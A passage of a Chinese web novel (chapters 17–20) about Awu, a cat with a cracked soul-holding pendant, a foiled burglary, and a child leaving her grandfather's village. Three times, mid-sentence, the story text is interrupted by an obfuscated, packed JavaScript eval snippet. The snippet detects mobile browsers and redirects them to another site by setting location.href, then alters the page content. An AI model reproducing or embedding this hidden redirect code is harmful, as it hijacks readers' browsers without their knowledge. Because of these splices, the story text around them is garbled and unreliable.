边星澄注视着阿五,在这样宁静的氛围里,心中对未来充满了希望。 一切都会好的,一切也都会没事的。 只要她再努力一点,只要她再耐心地等上几天。 她的家人们就一定能好好活着,一个也不会少。 前世的一切,都将成为过往。 酸角水喝完了,房东奶奶也讲得非常尽兴。她收下边星澄给的钱,美滋滋地拉灭了院子的灯,回去睡了。 边星澄坐在陡然变黑的院子里无奈摇头,起身将水壶拿去厨房洗干净,放在架子上晾好。 她抱着蹲在门口陪她的阿五回了房,洗漱完也睡下了。 阿五等边星澄睡着后,偷偷溜出门。 忙活了一晚,直到天光破晓,阿五才打着哈欠从门缝挤进屋内。她跳上凳子,踩踩软软新窝,满意地盘成一个圈,不一会就睡得直打小呼噜,肚皮也翻了出来。 床上的边星澄睁开眼,侧头看着阿五。 风吹起窗帘,光线顺着缝隙溜进房内,恰好照在阿五的脖子上。 石头吊坠在光中晃动着,边星澄眨眨眼,坐起身,皱眉凑近。 裂缝间,一行字缓缓显现,最终悬在了吊坠上空。 碎裂倒计时—30天。 边星澄抬起手揉了揉眼睛,再次确认,吊坠上的确出现了一行字。 碎裂?这对于她的计划,是否会有影响? 难道30天后,现世的一切会回到前世的轨道? 还是等吊坠彻底碎裂后,这不科学的力量将彻底从在这个世界消失? 边星澄的思绪飞速运转着。 这行字是单单她能看见,还是别人也能? 前世她从警犬基地拿回的吊坠,是一块有着四个黑点的白玉吊坠。今世的吊坠却变成了石头,想必正是力量耗尽的缘故。 既然力量已经耗尽,那现实的一切就不能再被改变。 碎了又有何妨? 边星澄心中安定,一如往常般起了床。 她环视了一圈屋内,将桌上的镜子收进了抽屉里。 接着她推开门,房东奶奶也正好踏出房门。 院子的地上,躺着几只死老鼠。 “哎哟!”房东奶奶惊喜地跑到老鼠身边,用手比划着,“这么大!” 边星澄赶忙道:“嘘,奶奶,阿五刚睡下。” “哦哦哦。”房东奶奶捂着嘴,开心地低声道,“让它好好睡!” 边星澄到卫生间刷牙洗脸,房东奶奶愉快地将老鼠扫进垃圾桶。 等边星澄出来,房东奶奶心情大好地道:“又去跑步?跑完回来,早饭在奶奶这里吃好啦。” “不用了奶奶。”边星澄婉拒,“昨天和所里的叔叔们说好了,今早要过去的。” 房东奶奶遗憾:“哎,好吧,本来看在你的猫帮我捉了老鼠的份上,都不打算收你早饭钱了。” 边星澄笑了:“那奶奶要不给阿五留一份?” 房东奶奶一怔:“它没吃老鼠吗?” 边星澄不妨奶奶突然蹦出这么句话,只得道:“阿五不吃老鼠。” “居然不吃老鼠?浪费浪费。”房东奶奶嘀咕完,勉强道,“好吧,但它这不是睡了吗,明天给它留。” 说完,房东奶奶进了厨房,边星澄笑笑,径直出了门。 阿五依旧在房内呼呼大睡,她梦见了阿耶阿娘,和阿兄阿姊。 她们一家人坐在院中,喝着冰凉的酸角水赏月,其乐融融。 阿五和家人讲着三打白骨精的故事,却突然有些口渴。她伸手去够桌上的水,却传来一阵剧痛。 “嘶。”她收回手,定睛一看。 惨白的月光下,桌上的酸角水已变成了一条三角脑袋的毒蛇,正吐着蛇信,冷冷盯着她。 阿五猛地推倒桌子:“小心蛇!”便“嗖”地一下跳下凳子,想去寻扫把打蛇。 可院中怎么也找不到扫把,四下还忽地起了雾,一切都不见了。阿五捂着手,在雾中奔跑:“阿耶!阿娘!” “阿五,我们在这里呀,来…来阿娘这…” “来阿姊这。” 两道白骨从雾中缓缓走出,变作阿娘和阿姊模样。 “喵!!” 阿五猛地睁眼,心脏“砰砰砰”剧烈地跳动。 她抬爪就去摸脖子上的吊坠。 它依旧静静地伏在脖子上。 阿五呼出一口气,起身张望,这不是她熟悉的房间布置,而且房内没有镜子。 室内昏暗又幽静,只有滴滴答答的雨声拍打着屋顶。 阿五突然有点发毛,再也睡不下去了。 “咔哒。” 门把手扭动。 阿五坐起身。 门打开,一道穿着长裙的身影出现在门口。 “咦?阿五你醒啦?” 边星澄轻柔的声音响起,她没有开灯,而是直接弯腰进了房。 “外面在下雨。我带了一盒午饭回来,一起吃吧。房东奶奶不在,说是去朋友家玩了。” 她边说,边拉亮桌上的台灯,回头瞧阿五眯着眼适应了一会光线,才走到门口,将头顶的电灯按亮。 阿五跳下地,“咚”的一声响。 这房间铺着木地板,边星澄进屋早已换了拖鞋。 房东奶奶不允许边星澄在房间吃东西,说是会有味。因此边星澄又换了鞋,将走到门口的阿五抱起来,去餐厅吃饭。 客厅餐厅都没有镜子,阿五嚼着肉,心不在焉地左右瞧着,始终放心不下她的吊坠。 等吃完饭,回所里一趟吧。 吃过饭,雨也停了。 边星澄洗完碗,捂着小腹说肚子有些疼,想让阿五陪着她睡会午觉,晚饭的时候再去所里。 阿五迟疑地瞧着面色如常的边星澄,却又真的从她身上闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243930|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了血腥味。 “喵呜?” 你受伤了吗? 阿五走过去,担忧地扒着边星澄的腿。 边星澄弯腰将阿五抱起来,回了房间。 她将阿五安置回窝里,轻轻摸了摸毛:“陪我睡一会哦,你昨晚不是也没睡好吗?对了,房东奶奶让我谢谢你哦,帮她抓了老鼠。” “喵呜~” 小事而已!你快睡吧,我在这里陪你。 阿五乖乖趴在窝里,将小脑袋放在交叠的双爪上,瞧着躺在床上,闭着眼睛的边星澄。 室内没有开灯,但阿五还是能看得很清楚。 边星澄的眉蹙着,秀气的脸上有淡淡的痛苦之色,双手捂着肚子。 这时候的她看上去比平时更柔弱了,不过和她的个子一比,这样的柔弱却又冲淡了许多。 阿五想了想,跳上床,拱开了边星澄的手,将自己放在了她的肚子上。 边星澄微微笑着:“谢谢你阿五。” 愧疚从她的脸上一闪而逝,又恢复了平静。 阿五听所长说,她的妹妹以后是个能教书育人的老师。 哦对了,所长的名字原来不是所长,而是边星遥。 秀秀此前也提到要去小学读书,虽然不知道小学是个什么样的地方,但想来是个像她们那的石城书院或县学一样的去处吧。 阿五的家人都未曾读过书,应该说他们那条街上,就没有读书的人。 边星澄竟然可以去这样的地方教书,而不是读书,实在是太了不起了。 要是跟着她去春东,阿五想,若是能去她教书的地方瞧瞧,也算不虚此行了。 嗯?阿五动动耳朵,站起身往外望。 院门外一直有人徘徊。 “喵。”阿五提醒边星澄。 边星澄睁开了眼,有些疑惑地转头:“怎么了?” “咪!”阿五短促地低叫了一声,跳下地蹿到了门边,警惕地听着。 边星澄皱眉,刚要起身,就听见院中发出了动静。 “啪——” “啊!” 院中的花盆被人踩碎了。 边星澄趁此时间赶紧起身,光脚踩在地板上,飞速来到窗边,她房间的窗户能看见小院。 她屏息撩起窗帘一角。 小院子里有两个人,一个人张着手愣在原地,一个人摔在地上,都是一动也不敢动。 两个男孩看上去岁数不大,也就十四五岁。穿着破T恤衫,头发遮住了半只眼,身上披金挂银的,全是零碎。 边星澄的手渐渐收成了个拳头。 几分钟过去,见周围并无动静,男孩慌慌张张地起身,边星澄则躲到了门后。 两人左右瞧瞧,盯上了边星澄所在的屋子。 “先去这间看看。” “快点快点,那个死老太婆估计快要回来了。” 一个男孩直奔窗户而去,被另一个男孩拉住:“你笨啊,都没人,翻什么窗户,直接开门。” “哦哦哦。” 阿五已经在门后伸出了爪子,却被边星澄轻轻推了推。 阿五疑惑地抬头,干嘛?你好好躲着,等我挠死他们! “咔,咔。” 男孩小心翼翼拧开门把手,目光往屋内一扫,正想迈步走进去。没想到昏暗的室内,却响起了一声猫叫。 男孩低头,一只油光水滑的猫正蹲在地上。 “猫?” “就是那个老太婆说的,抓了好几只老鼠的那只猫吧?”后头的男孩眼睛亮亮地盯着阿五,“品相不错啊,一起拿走,卖掉!” 阿五咧咧嘴,起身往房间里跑。 两人蹬蹬蹬冲进房内,撅着屁股捉猫,门却在身后砰地一声关上了。 他们还没反应过来,头上的灯也亮了。 阿五从僵硬的两人身边路过,小跑到边星澄身前,挡在他们之间。 阿五还以为边星澄是想趁她将两人引进屋内,好趁机逃跑。结果边星澄不仅不跑,还把门关了? 阿五眼含怒气地回头瞪了眼边星澄。 边星澄却朝阿五笑笑,活动了下手腕和脚腕,朝两个还僵在原地的男孩走去。 阿五瞪大了眼,赶忙上前帮忙。 啊!这可是两个人呐!你不逃命还往前冲,不要命了吗! 18.第 18 章 两个男孩夺路而逃,被边星澄抬手一左一右地扯住了T恤衫后领,随即抬脚踹上了两人的腿窝,将他们按在了地上。 边星澄制住这两个蟊贼,就跟抓小鸡似的,看得阿五愣住了。 “来,跟老师讲讲,除了猫,还有什么想偷的?” 听见老师这两字,两人同时一抖,偷偷用眼角瞥着边星澄:“没,没有了。” 森林派出所。 房东奶奶铁青着脸坐在办公室里,一丝不乱的银发都气得翘了起来。 她身旁还有几位岁数差不多的老人,一脸羞愧,恨铁不成钢地瞪着站在桌前的两个男孩。 舒瀚海站在男孩旁边,办公室里,还有好几位拿着大茶缸子的警察或站或坐。 “对不起奶奶,我们错了。” “我,我就是听到你们聊天,想起来刘奶奶家里很有钱。然后,然后最近想去看电影,就想着拿一点。” 砰—— 房东刘奶奶的脸更青了,抬手就狠狠拍了下桌子。 边星澄抱着阿五站在门口,边星遥带着一队人在山上巡逻,还不曾回派出所。 阿五专注地看着室内。 她突然发现,怎么这里的小孩,阿耶阿娘都不在身边呢? 这两个男孩如此,秀秀和阿雅也是如此。 边星澄垂着头,瞧着阿五脖子上的吊坠若有所思。 她们刚才将两个蟊贼送来警局后,边星澄瞧见吊坠上的倒计时往上跳了半个1,但立刻又变回了30。 难道吊坠的碎裂倒计时,与抓贼有关? 边星澄的手忽然就出了汗,心中充满了恐惧。 阿五绝对不能再当警猫了,她绝不能眼睁睁地看着事情又像上一世那样发展! “喵?” 边星澄回过神,怀里的小猫睁着双翠绿的大眼睛,担忧地歪着头瞧她。 清澈的双眼,仿佛印出了她的卑鄙和懦弱。 边星澄狼狈地移开眼:“有,有点不太舒服,这里好像没事了,我们找个地方坐坐吧。” “喵嗷~”阿五自然不会不同意。 她只是闻到了边星澄身上的味道变了。 拿住两个贼时,边星澄闻起来像太阳晒过的毛毛,干净又阳光。现在的她,尝起来却像没成熟的桃子,又涩又扎嘴,还苦。 边星澄胡乱找了个凳子就坐下了,不论怎么说,她得等房东奶奶一块回去。 即使这个地方令她觉得很不安全,也只能等。 等待却是最不确定的事。 她的额头密密匝匝地冒出了冷汗,好似又看见了医院里盖着白布的尸体,以及她一手抱不下的四盒骨灰。 一只柔软的爪子轻轻按在了边星澄脸上,阿五不解地瞧着边星澄:“喵呜?” 肚子很疼吗,要不要去医院? 阿五转身想跳下地去找人,却被边星澄紧紧抓住,搂在了怀里。 “没事的,我坐一会就好了。” “咪。” 阿五无奈地勾了勾尾巴尖,好吧。 “星澄?” 阿五抬起头,是所长回来了,她的眼神一下变得雀跃,朝边星遥招招爪子:“喵呜喵呜。” 你妹妹不舒服,快来看看吧。 边星遥快步走到边星澄身边,抬手按在了她的额头上:“怎么出这么多冷汗?” 看见边星遥,边星澄的笑容更加勉强:“没事的,我就是有点肚子疼,喝点热水就好了。” “去我房里休息。” “不不不,我不想动,等会我和刘奶奶一块回去睡一觉就好了。” 边星澄赶忙挣脱边星遥的手,像是黏在了凳子上,不肯起身。 “刘奶奶怎么在这?”边星遥诧异,又赶紧道,“我先去给你倒杯热水。” 阿五瞧着边星遥匆匆离开,又忙忙地回来,将一杯热水交给了边星澄。 “哥,对不起啊,晚饭得你们自己解决了。” 边星澄低着头,不想去看边星遥。 “知道了,你别操心了。这几天在刘奶奶那好好休息。”边星遥絮絮叨叨,“小时候你和向晓,哭着喊着都要和我去练武。练武之后确实也不太生病了,长大了身体怎么变差了?” 听见向晓的名字,边星澄眼光闪动。 边星遥突然道:“对了,向晓也是今年警校毕业吧,不知道被分配到哪了,星澄你知道吗?” “不知道,她神神秘秘的,不肯讲。”边星澄摇摇头。 此时,刘奶奶等人从办公室鱼贯而出。 两个男孩走在最后,垂着脑袋,一脸沮丧。 边星遥扫过这一行人,心中已大致明白发生了什么事。 阿五颇有些不爽,犯了偷盗罪,竟不用挨板子吗?就这么不痛不痒地被放了? 边星澄舒了口气,将水杯还给哥哥后,起身走到了刘奶奶身旁:“奶奶,对不起。” 刘奶奶板着脸,却还是奇怪地瞧了她一眼:“你对不起什么?” 边星澄沉默一瞬:“我放他们两个穿着鞋进了房间,地板脏了。” 阿五咧嘴一笑。 “……”刘奶奶脸色大变,回身指着两个男孩,怒喝,“你们两个,跟我回去,把地板给我擦干净!” 刘奶奶是被警察们接到派出所的,中途回家也只是大略地瞧了瞧,知道这两个贼踩碎了她一个花盆后,就被边星澄逮住了。 舒瀚海“啪,啪”两巴掌打在两个男孩的背上,冷哼着补充:“明天早上7点,按时到派出所来!” 两个男孩对视一眼,眼里充满了悔恨,有气无力地应道:“哦。” 他们的爷爷奶奶,都站在一旁没有出声,看上去还想找个地洞钻,好似他们才是被抓住的贼。 刘奶奶挺直脊背,气势汹汹地扯着两个小兔崽子走了。 边星澄本来也想抱着阿五离开,却被舒瀚海喊住:“星澄,等下。” 边星澄不情不愿地停住了脚:“教导员,怎么了?” “阿五得留下,明天我要带它出门一趟。” 阿五立刻想到了迈叔:“喵呜!!” 迈叔出院了? 她马上挣扎着想下去,却被边星澄抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246122|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很牢。 “喵?” 阿五扭头。 边星澄面目表情地将阿五放了下去:“好的。” 随即她转身离开:“哥,教导员,那我就先回去了,再见。” “好的。”舒瀚海点点头。 边星遥奇怪地凝视着妹妹的背影,是星澄身体不舒服的缘故吗,怎么怪怪的。 舒瀚海先将刘奶奶家里进贼的事告诉了边星遥。 边星遥差点把妹妹揪回来:“啧,一天到晚地胡闹,她以为她学过两天武,天下无敌了?要不是这两个贼还未成年,见识不多,她能这么轻松地制住人家?万一是个惯偷,还带刀怎么办!” 他气地叉着腰,在房间里走来走去,决定等妹妹病好了,一定要好好和她说道说道。 舒瀚海又道:“还有迈叔出院了,我明早带阿五过去,不能食言。” “行,我知道了。” “明早上那两个小崽子过来,你带着他们去巡巡山,带到小木屋那就行了,省得他们一天到晚地在外头瞎逛。” 边星遥点头:“我知道了,放个暑假,心都放野了。” 他们在说什么,阿五一句没听见。 她此时此刻凝固在了镜子前。 吊坠依旧是那枚布满了裂缝的石头吊坠,家人的魂魄也还在坠子里,那这上面的方块字是什么时候多出来的? 阿五用爪子擦了擦吊坠,方块字还在。 她赶忙回头,急促地叫着,引起边星遥和舒瀚海的注意:“喵呜喵呜~” “怎么了?”舒瀚海瞧着阿五。 边星遥观察着阿五的动作,伸手轻轻地拈起阿五的吊坠,翻看了一下,又放了回去。 舒瀚海奇道:“咦?太阳从西边出来了啊,你拿它的吊坠,居然没有挠你。” 阿五期待地看着边星遥。 边星遥道:“吊坠怎么了?又裂了几道缝吗?看不出来啊,还是勒着脖子了?” 他们看不见!阿五失望地垂下了耳朵。 这可怎么办? 拖着尾巴的阿五在桌上转了转,瞥见桌上的印满了方块字的纸,脑中灵光一闪,赶忙扑了过去,认认真真比对了起来。 边星遥和舒瀚海面面相觑。 舒瀚海挠挠头:“阿五跟着你妹妹待了两天,被人民教师的气质熏陶成读书猫了?” “那等暑假过完,刚好送她去星澄的学校读书。”边星遥一本正经,“反正我妹妹也教的一年级。” 到了晚上,阿五总算有了一点收获。 她起码找到了其中一部分字,天、0、3。 是她指着报纸上相同的字,边星遥告诉她的。 但其他的字,阿五还搞不明白。 让一只小猫咪去看小小的方块字,简直是酷刑。 直到边星遥要关灯睡了,阿五也没有找到相同的字。而这些字又很复杂,她也比划不出来,问都无从问起。 她的眼睛虽然已痛得快睁不开了,但她又怎么睡得着呢? 未知像跟吊索,勒在了阿五的脖子上,慢慢收紧。 19.第 19 章 清晨时分,一宿没睡的阿五上了舒瀚海的车。 经过半个多小时的路程,绿色的吉普车停在了被薄雾笼罩的榕树村村口。 阿五跳下车,村口的大榕树在晨风中簌簌作响。 风中带着树木的清香,也带着苞谷被炊熟的香气。 阿五深吸了一口气,又摸了摸胸口的吊坠,调整着她的情绪。 早上一醒来,她就在镜子中看见那串字变了,从0、3,变成了9、2。 这玩意居然还能变!阿五简直要抓狂。 阿五一路想,一路跟在舒瀚海脚边往里走。 等到了梅迈家门口,阿五已经努力将这件事压在了心中。 见朋友,要开开心心的。 叩叩—— 舒瀚海敲响院门,同时喊道:“迈叔,是我,舒瀚海。” 屋内传来了一道陌生的男声:“来了。” 门打开。 是一位穿着黑T恤衫,牛仔裤的年轻男子,肤色黝黑,他打量了眼舒瀚海,伸出手:“舒教导员是吧?” 舒瀚海与他握手:“是我,你是迈叔的大儿子阿武?” 梅武点点头,努力扬起笑脸,将舒瀚海往里让:“教导员饭吃了没有,我们刚好在做早饭,一起吃点?” “不了,吃过来的。” 阿五跟在两人身后,走进了院子,地上还残留着淡淡的血腥味。 从灶房走出了一位小腹微凸的女子,冷冷淡淡地瞟过院中人:“舒教导员。” “我老婆,刘媛。就是那个女字旁,笔画很多的那个媛。”梅文搓着手,向舒瀚海介绍着女子的身份,“怀孕四个月了。” “哦哦,你好,我是舒瀚海,来看看迈叔。” 阿五盯着刘媛瞧了会,移开目光,发现被梅文砍破的门竟然还凄凄惨惨地留在墙上,门边还放着两只大箱子。 一道小小的身影穿过那道门,扑了出来。 “喵!” 阿五飞奔过去,被抱了起来。 秀秀柔软冰冷的脸蛋贴着阿五。 舒瀚海走过来蹲下身,摸摸秀秀的脑袋,笑着:“秀秀,叔叔没有骗你吧?” 秀秀瘦了很多,原先就很大的圆眼睛,现在显得更大了。她抱着阿五,抿唇对舒瀚海笑着,用力点头。 阿五的心却像是被这笑容扎了,秀秀还是不能说话吗? 她只能用力地蹭着秀秀,用小爪子贴着秀秀的脸:“咪~” 舒瀚海起身对梅武道:“我能进去看看迈叔吗?” “可以可以。”梅武快步走到门边,尴尬地挡着那扇门,“刚回来,还,还没空修。” 舒瀚海不置可否,只能笑笑。 秀秀抱着阿五也想进屋。 “秀秀!”刘媛冷淡的声音响起,“不可以把猫带进去。” 秀秀立刻停住了脚,垂着头站在门边。 “把手洗了,来吃早饭。”刘媛转身进了灶房。 阿五其实很想进去看看迈叔,可是想想当时医院的情形,现在的她,应该还是不能接近迈叔的吧。 阿五遗憾地望着门内。 秀秀站在门口没动,阿五关切地瞧着她:“喵呜~” 你先听你阿娘的话,把早饭吃了吧。 秀秀慢吞吞地动了,阿五跳下地,贴着秀秀的腿,跟她一块走到水缸边,看她舀水洗了小手,然后一人一猫慢慢地走进灶房。 刘媛将一根晾凉的苞谷递给秀秀:“吃吧,吃完我们就走。” 走?阿五诧异地看着刘媛,又瞧瞧秀秀。 秀秀接过苞谷,却拿在手里不吃,只看。 刘媛却随即坐在小马扎上,快速地啃着苞谷,啃得满脸都是,简直像是要把自己噎死。 过了一会,刘媛已经啃完了两根,秀秀手里的还原封不动。 刘媛一抹嘴,冷笑着:“不吃也得走。” 秀秀用力捏紧了手里的苞谷,抬起头瞪着刘媛。 “瞪我也得走。”刘媛深深地吸了口气,强硬道,"我已经说过了,我不可能留你在这里的,你死心好了。" “喵呜~喵呜~”阿五赶忙蹭着秀秀的腿,打断了两人的对峙。 秀秀的阿娘要将她带到哪儿去呢?是去治病吗? 刘媛瞧了眼阿五,起身又拿了根苞谷和小碗,不再说话,将一粒粒澄黄的苞谷粒拨入碗中。 迈叔房间充斥着浓浓的药味。 舒瀚海踏进屋里,一眼就看见了床上干枯的老人。他的头发比白炽灯灯光还要白得刺眼,明明上一次在医院见到他时,起码还有一半头发是黑色的。 床头柜上放着一碗粥,和半碗苞谷粒,没有动过。 梅迈挣扎着起身,舒瀚海赶忙冲到床边,轻轻按着他:“迈叔,不要起身了,你还没有好。” 迈叔喘着气,到底还是躺回了床上。 他斜眼去看地上。 舒瀚海意会:“嗷呜也来了,但它不好进来,陪着秀秀呢。” 迈叔摇摇头:“这…这有什么,它是我和秀秀的救命恩人。” “应该说是恩猫。”舒瀚海笑笑。 迈叔也咧嘴笑了:“是啊,你瞧我。” 梅武没有进门,在门口站着。 舒瀚海又道:“好好养着,不要担心,我会常常过来看你的。” 迈叔笑了,又摇摇头,笑容凄凉:“你那么忙,不用来看。” “嗯,哪个都不用来看。你一个人在这里悄悄地死掉,我们又要从江城坐五天五夜火车,回来给你奔丧。” 梅武的语气比冰还冷。 舒瀚海皱眉抬头:“阿武。” “我去吃早饭,你们两个聊。”梅武转身就走。 舒瀚海心中叹了口气:“他们今天就走吗?” 迈叔点点头。 瞧着迈叔仿佛丧失了生气的脸旁,舒瀚海思索了一会:“迈叔,你必须要抓紧养好身体,不然秀秀的心结更重,病肯定更好不了了。” 迈叔沮丧:“也许我不在,对秀秀更好。” 舒瀚海摇摇头:“我特意打电话问过首都医院的医生,说秀秀这个病大概率就是心理因素。她从小就在你身边长大,和你的感情最深,你说你要是就这么走了,她还能好的起来?” “教导员你还认得首都医院的医生?”迈叔眼睛亮了,“能不能,麻烦你……” 舒瀚海打断迈叔的话:“我已经介绍给刘媛了,你不要担心。你好起来,秀秀也肯定能好起来。我上次还听村里人说,你想给秀秀养一只小狗保护她,你不在了,谁来养?” “也是,也是。嗷呜那么厉害,我也要养一只不输给嗷呜的小狗给秀秀。”迈叔的眼里又充满了光。 舒瀚海将迈叔扶了起来,又拿起床头柜上的粥给迈叔。 梅迈蹲在灶房门口,狠狠地啃着苞谷。 阿五站在他身旁,吃着小碗里的苞谷粒,这是刘媛给她剥的。 秀秀蹲在阿五的另一边,也在小口小口地吃。 刘媛瞧着两人一猫的模样,冷不丁道:“秀秀你要是不快点好起来,你的猫朋友就要把你忘掉了。” “喵喵喵???”阿五差点被苞谷粒呛住,不可置信地望着刘媛。 胡说八道,她才不是这样的猫呢! 秀秀也茫然地抬头,望着妈妈。 其实她都不记得妈妈是长这个样子的了。 爷爷说妈妈和爸爸在江城打工,都是为了她。 “它只会喵,你不会说话,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253161|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们两要是打电话,怎么沟通呢?”刘媛环着手,“你没上过学,是个文盲,连信也没办法给嗷呜和隔壁的阿雅写。” 阿五已经知道打电话是什么了,她见过舒瀚海和边星遥打电话,这是一种神仙手段。 刘媛继续道:“等时间一长,她们两个都会把你忘记的。” “喵嗷!” 才不会! 阿五立刻舍弃了甜丝丝的苞谷粒,贴着秀秀大嚷。 秀秀也揽住了阿五,圆圆的眼睛燃烧着怒火。 瞧着秀秀的样子,刘媛眼中闪过一丝惊喜,本来还想再说,但到底不忍心,只好冷哼一声撇开了头。 梅武将手里啃得干干净净的苞谷棒扔掉,看了眼手表:“大巴快来了,可以走了。” 刘媛应了声。 两人拉起秀秀,进了屋。 阿五留在了门口。 “爸,舒教导员。”梅武的声音响起,“大巴要来了。” 梅迈道:“好,你们走吧。” 他喘了几口气:“秀秀,爷爷在这里等你。你好了回来,就能看见小狗了,爷爷答应过你的。” 随即梅迈哽咽的声音又响了起来:“好,小猫也有,小猫也会有的。” 阿五摸摸吊坠,心被重石压着。 梅武先走了出来,提着门边的两个大箱子到了院外。 过了良久,刘媛扯着满脸泪水的秀秀走出了门,舒瀚海跟在两人身后。 阿五默默上前,贴着秀秀的腿往前走。 秀秀一直回头望着屋门,刘媛紧紧握着她的手腕,再没回头。 走到了院门口,榕树村的村长也在。 梅武拿了个信封给村长,里面是两百块钱:“村长,我爸爸就拜托你了。” 村长收下信封,瞧了眼舒瀚海:“你放宽心,我肯定找人照顾好梅迈。” 梅武朝村长鞠了个躬,又朝舒瀚海道:“舒指导员,再见。” 舒瀚海走过去,帮他拿箱子:“待会再说也不迟,送你们上车。” 秀秀捏着玉米,还抱着阿五,哭得上气不接下气。 阿五叹着气,舔舔秀秀的脸。 施雅不知何时也出了门,默默跟在了众人身后。 他们一行人刚到村口,一辆破旧的大巴车也恰好穿过薄雾,停了下来。 车上人并不多,舒瀚海帮梅武将行李送上了车,又从秀秀怀里掏出了阿五。 梅武扛起秀秀上了车,秀秀扒着车门,哭得一塌糊涂。 阿五忍不住朝秀秀伸出了猫爪,眼里蓄满了泪水:“喵呜喵呜。” 秀秀,秀秀。 原来和朋友分别,也这么痛苦。 大巴车载着哭泣和希望驶离了榕树村。 村长已经离开了。 舒瀚海抱着阿五,施雅抹去脸上的泪水。 他们默默地走在回梅迈家的路上。 舒瀚海忽然道:“阿雅,明年高三了,有想过志愿的问题吗?” 施雅抬起小脸,手紧握成拳:“医生,我要当医生。” 舒瀚海一怔,随即笑了:“好,你高二的成绩很好,如果高三能保持住,我相信你一定能考上的。学费你不用担心,我们会供你到大学毕业。” 施雅停下:“教导员,大学学费我能自己攒的。” “我可以勤工俭学,去当家教,去打零工。” 阿五抬起小脑袋瞧着施雅。 舒瀚海也停下来看着她。 薄雾已散,阳光将施雅的头发照得亮闪闪的,但她的眼睛,比日光更亮。 舒瀚海腾出一只手,摸摸她的脑袋,郑重其事地道:“好,我相信你。” 阿五赶忙接道:“喵!” 我也一样! 20.第 20 章 梅迈家门口,多了一辆靠着红墙的黑色自行车。 阿五跳下舒瀚海的怀抱,小跑过去闻了闻。 车轮上除了牛粪等杂七杂八的味道外,阿五还闻到了有过一面之缘的小警察,文宇宙的味道。 他来做什么?阿五小跑进屋:“喵!” 灶房内发出了一阵动静。 文宇宙湿着双手跑了出来,瞧见舒瀚海后站得笔直,敬礼道:“舒教导员。” 舒瀚海诧异:“文宇宙?” “是我!”文宇宙有些尴尬,没想到舒瀚海又回来了,湿漉漉的手贴在裤子上,洇出一片深色水痕,“今天我休息,就想来瞧瞧梅迈和梅秀,到的时候发现门是开着的,就直接进来了。” 文宇宙低头,瞧见了他糟糕的裤子,解释道:“对了,迈叔有些累,又睡下了,我就想着把碗洗了再走。” 他已从梅迈口中得知梅秀跟着她父母离开的事了,瞧见他一个老人孤零零的,有些不忍。 阿五垂着耳朵,走到灶房门口,把碗里剩下的苞谷粒吃完。 不能浪费粮食。 施雅涨红了脸,快步走进灶房:“应该我来洗的,不好意思,麻烦你了。” 文宇宙道:“就两个碗,我已经洗完了。” 此时,门外传来了说话声。 村长带着位大娘和中年男人走了进来。 阿五瞅瞅他们,在那个可怕的早晨,她见过他们两人。 “舒教导员。”村长瞧见文宇宙,颇为好奇地瞧了他一眼,不明白他怎么也来了,又对着阿雅招招手。 “阿雅你也在,那刚好。我已经和刘医生、苗金说好了。刘医生有空就会过来瞧下梅迈的恢复情况,苗金会把送梅迈和阿雅的一日三餐做好送过来。” 施雅赶忙摆手拒绝道:“我,我的饭能自己解决的,不用苗金阿姨送。” “舒教导员给了伙食费的。”村长不容施雅拒绝,“你不吃,只能浪费。还有半个月你就要回学校念高三了,现在就是要好好复习,好好念书,别的不要多想。” 苗金大娘笑呵呵道:“就是!你个小娃娃不要多想,好好读书,让我们榕树村也出个大学生。” 施雅的眼里霎时蒙上了一层水雾。 阿五吃完了苞谷粒,走到阿雅身边蹲下,她对于这个世界的学校真的很好奇。 从秀秀那么小的,到阿雅这么大的,都一块在小学念书吗?小的就叫小学生,大的就叫大学生?她们平常除了孙悟空,还看什么呢? 舒瀚海拍拍施雅的肩:“好啦阿雅,你先回去吧,中午记得过来瞧瞧迈叔。” 施雅点着头,与现场众人道别后,匆忙离开了。 阿五见舒瀚海大约还要和他们说会话,便跟着施雅走了。 虽然文宇宙看着也很想走,但他不敢说话,只能默默待在一旁。 施雅的房子也有一个小院子,没有养花花草草,空空旷旷,收拾得很干净。 施雅走到院子中间,怔怔地站了一会,脚边忽然贴上来了一个暖乎乎毛绒绒的东西。 她低下头,嗷呜用尾巴卷着她的腿,正睁着双大眼睛瞧她。施雅鼻子一酸,蹲下身抱起了嗷呜,走进了屋内。 屋内没有开灯,有些暗。 除了窗边放了一张摞着书的木桌和几只凳子外,这个屋子里,就再没有旁的东西了。 墙上也什么都没有,没有红黄配色的纸,也没有画像。 这是一间寂寞的房子。 施雅走到桌边,将阿五放在了桌面上。 她想了想,突然跑开了,再回来时,手里拿着一只白色的小碗和水壶。施雅将小碗放在桌上,打开水壶上的木塞,给阿五倒了一碗水。 